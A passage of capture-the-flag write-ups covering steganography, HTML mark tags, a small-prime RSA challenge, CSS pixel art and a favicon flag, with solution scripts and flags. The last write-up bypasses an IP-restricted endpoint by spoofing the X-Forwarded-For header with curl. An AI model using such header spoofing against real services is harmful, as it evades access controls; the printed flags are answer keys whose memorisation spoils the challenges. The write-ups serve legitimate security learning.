chars = [chr(int(lsb_bits[i:i+8], 2)) for i in range(0, len(lsb_bits), 8)]
flag = ''.join(chars)

print(flag)   # v1t{LSB:>}

Why it Works

Each original 8-bit chunk encodes one visible ASCII character (the decoy message).
The author hid an additional message in the LSB of each byte.
Collecting those LSBs builds a secondary binary message that decodes to the actual flag.

Flag

v1t{LSB:>}

Mark The Lyrics

Fri, 10 Jan 2025 00:00:00 GMT

Overview

The page shows well-formatted Vietnamese rap lyrics (Verse, Pre-Chorus, Chorus, Outro). The prompt hints that something is "odd" about the lyrics. Viewing the HTML reveals certain fragments wrapped in <mark>...</mark> elements. Those marked fragments, read in order, form the flag.

Manual Extraction

Reading each <mark> in document order yields:

V
1
T (from "M-TP", the letter T is marked)
{
MCK
pap-
cool
ooh-
yeah
}

Browser Console One-liner

Array.from(document.querySelectorAll('mark'))
  .map(m => m.textContent)
  .join('');
// => "V1T{MCK-pap-cool-ooh-yeah}"

Python Script

#!/usr/bin/env python3
import re, pathlib

html = pathlib.Path('index.html').read_text(encoding='utf-8')
marks = re.findall(r'<mark>([^<]+)</mark>', html)

print("MARK THE LYRICS - FLAG EXTRACTOR")
for i, m in enumerate(marks, 1):
    print(f"{i}. {m}")

flag = ''.join(marks)
print("\nCombined:", flag)

Flag

V1T{MCK-pap-cool-ooh-yeah}

RSA 101

Fri, 10 Jan 2025 00:00:00 GMT

Overview

You're given RSA parameters and a ciphertext. Factoring n via FactorDB yields a very small prime p = 101 and a large prime q. Standard RSA decryption m = c^d mod n returns a number that doesn't decode to ASCII.

The twist: the original message M was larger than the modulus n, so encryption implicitly reduced it modulo n. After decryption, you get M mod n; to recover M, you add back (a multiple of) n.

Given Parameters

p = 101
q = 313846144900241708687128313929756784551
n = 31698460634924412577399959706905435239651
e = 65537
c = 23648999580642514140599125257944114844209

Math

phi(n) = (p - 1)(q - 1)
d = e^-1 mod phi(n)
m_dec = c^d mod n
If original M >= n, encryption sent M mod n. After decryption we get m_dec = M mod n.
Recover M by testing M = m_dec + k*n for small k >= 0 until bytes decode. Here k = 1 works.

Solution Script

import sympy as sp

p = 101
q = 313846144900241708687128313929756784551
n = 31698460634924412577399959706905435239651
e = 65537
c = 23648999580642514140599125257944114844209

# Sanity checks
assert p * q == n
assert sp.isprime(p) and sp.isprime(q)

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

m_dec = pow(c, d, n)
print("m_dec =", m_dec)

# Try adding multiples of n until it decodes
def try_decode(x: int):
    try:
        h = hex(x)[2:]
        if len(h) % 2:
            h = "0" + h
        return bytes.fromhex(h).decode()
    except Exception:
        return None

flag = None
for k in range(0, 5):
    candidate = m_dec + k * n
    s = try_decode(candidate)
    if s and s.startswith("v1t{") and s.endswith("}"):
        flag = s
        print("k =", k, "->", flag)
        break

assert flag is not None

Why This Works

RSA encrypts modulo n. If the original message M is larger than n, the actual encrypted value is based on M mod n.
Decryption returns the reduced message. Adding one modulus (or a few) reconstructs a valid preimage that maps to ASCII.

Flag

v1t{RSA_101_b4by}

Stylish Flag

Fri, 10 Jan 2025 00:00:00 GMT

Challenge Overview

The page loads a nearly empty HTML with just a single div.flag:

<link rel="stylesheet" href="csss.css">
<div class="flag"></div>

The CSS paints "pixels" by using a huge box-shadow list on an 8x8 base square:

.flag {
  width: 8px;
  height: 8px;
  background: #0f0;
  box-shadow:
    264px 0px #0f0,
    1200px 0px #0f0,
    0px 8px #0f0,
    32px 8px #0f0,
    ... many more offsets ...
    1200px 64px #0f0;
}

Each xpx ypx #0f0 entry draws another 8x8 green square at that offset. Together they form pixel art that encodes the flag.

Solution

Step-by-Step

Open the page and launch your browser's DevTools (F12).
In the Elements panel, select the <div class="flag">.
In the Styles panel, add a scaling rule to make the pixel art readable:

.flag {
  transform: scale(6);
  transform-origin: top left;
}

If the background makes it hard to read, also add:

body { background: #000 !important; }

Once scaled, the pixel grid clearly renders text - read off the CTF flag.

Why This Works

The box-shadow list is a classic CSS "pixel art" trick: one base element plus many shadows to draw pixels.
All offsets are multiples of 8px in both x and y, creating a grid of 8x8 pixels.
Scaling the element makes the rendered text legible without changing the page semantics.

Flag

v1t{CSS_P1X3L_ART}

Tiny Flag

Fri, 10 Jan 2025 00:00:00 GMT

Overview

The page is full of decorative elements (moving dots, scanlines, etc.), which are red herrings. The title and hint suggest the flag is "tiny" and right "in front of your eyes." The trick is that the flag is drawn inside the page's favicon.

Solution Steps

Open the site and inspect the page head (View Source or DevTools -> Elements).
Notice the favicon reference:

<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">

Open favicon.ico directly in a new tab (DevTools -> Network -> click the icon request).
Zoom way in (800-1600%) to see the pixel art text clearly.

Alternative: Extract and Upscale Locally

# Download the favicon
curl -O https://target-site/favicon.ico

# Convert and upscale with nearest-neighbor to keep pixels crisp
# Requires ImageMagick
convert favicon.ico -filter point -resize 1600% out.png

# Open out.png to read the flag

Pitfalls

Don't over-focus on hidden CSS pixels or JS effects; they're decoys.
The entire solve is recognizing the favicon and zooming in.

Flag

v1t{T1NY_ICO}

Notes service

Wed, 08 Jan 2025 00:00:00 GMT

"I store all the most important things in my notes."

We are provided with an IP address and a specific endpoint to a note: /note/27. The goal is to access this note, which presumably contains the flag.

Reconnaissance

Attempting to access the URL http://62.173.140.174:16096/note/27 directly results in a 403 Forbidden error.

HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/3.1.3 Python/3.11.6
...
<div class="card">
    <p>Oops! You don't have permission to view this note.</p>
    <p>Maybe there is a secret way around this?</p>
</div>

The server identifies itself as Werkzeug/Python (Flask). The error message "Maybe there is a secret way around this?" combined with an "Easy" difficulty rating often suggests a restriction based on the client's identity or location.

Vulnerability: IP Restriction Bypass

In web applications, developers often restrict administrative or private endpoints to internal traffic (localhost) for security. However, if the application determines the client's IP address using HTTP headers like X-Forwarded-For without proper validation, an attacker can spoof their IP.

The X-Forwarded-For header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. If we manually inject this header, we can trick the server into believing the request is originating from the server itself (127.0.0.1).

Exploitation

We use curl to send a GET request to the restricted endpoint while injecting the X-Forwarded-For header set to localhost.

curl -H "X-Forwarded-For: 127.0.0.1" \
     -v http://62.173.140.174:16096/note/27

The server accepts the spoofed IP and returns a 200 OK response containing the secret note.

Server Response

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.6
Content-Type: text/html; charset=utf-8

...
<div class="card">
    <pre>Congratulations! You've found the secret note.

Here is your flag:

CODEBY{byp4ss_4o3_err0r}
</pre>
</div>

Flag

CODEBY{byp4ss_4o3_err0r}